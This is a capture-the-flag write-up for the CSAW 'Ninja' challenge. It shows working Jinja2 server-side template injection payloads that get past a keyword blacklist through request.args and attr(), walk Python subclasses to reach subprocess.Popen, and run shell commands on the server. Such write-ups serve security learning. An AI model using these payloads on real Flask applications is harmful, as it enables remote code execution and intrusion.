Ninja
Flask Server-Side Template Injection (SSTI)
Description
Hey guys come check out this website I made to test my ninja-coding skills.
http://web.chal.csaw.io:5000
Solution
The webpage is vulnerable to a Server-Side Template Injection (SSTI) vulnerability.
However, there are a few restrictions. Using any of the blacklisted words will yield the following error:
Sorry, the following keywords/characters are not allowed :- _ ,config ,os, RUNCMD, base
Filter Bypass
I found this excellent tutorial on how to bypass Jinja2 SSTI filters. Basically, we can pass in any of the blacklisted characters as GET request arguments, then access them through request.args
.
This allows us to pass them into attr()
, which is a Jinja2 built-in filter that gets an attribute of an object. foo|attr("bar")
is equivalent to foo.bar
.
The following payload:
/submit?value={{()|attr(request.args.c)}}&c=__class__
will result in ().__class__
being evaluated and shown to the user.
Finding subprocess.Popen
To get the subclasses, we do ().__class__.__base__.__subclasses__()
.
GET /submit?value={{()|attr(request.args.c)|attr(request.args.b)|attr(request.args.s)()}}&c=__class__&b=__base__&s=__subclasses__ HTTP/1.1
Host: web.chal.csaw.io:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://web.chal.csaw.io:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
I copied the output and used the following script to find <class 'subprocess.Popen'>
in the subclasses. The index was 258.
check = "..."
for index,value in enumerate(check.split(',')):
if "subprocess.Popen" in value:
print(index)
We are subsequently able to access this index to obtain RCE through subprocess.Popen
.
RCE
With access to subprocess.Popen
, we simply have to leverage it to achieve RCE.
GET /submit?value={{()|attr(request.args.c)|attr(request.args.b)|attr(request.args.s)()|attr(request.args.g)(258)('ls',shell=True,stdout=-1)|attr('communicate')()|attr(request.args.g)(0)|attr('decode')('utf-8')}}&c=__class__&b=__base__&s=__subclasses__&g=__getitem__ HTTP/1.1
Host: web.chal.csaw.io:5000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://web.chal.csaw.io:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
Finally, cat flag.txt
gives us the flag!

The flag is flag{m0mmy_s33_1m_4_r34l_n1nj4}
.
Last updated
Was this helpful?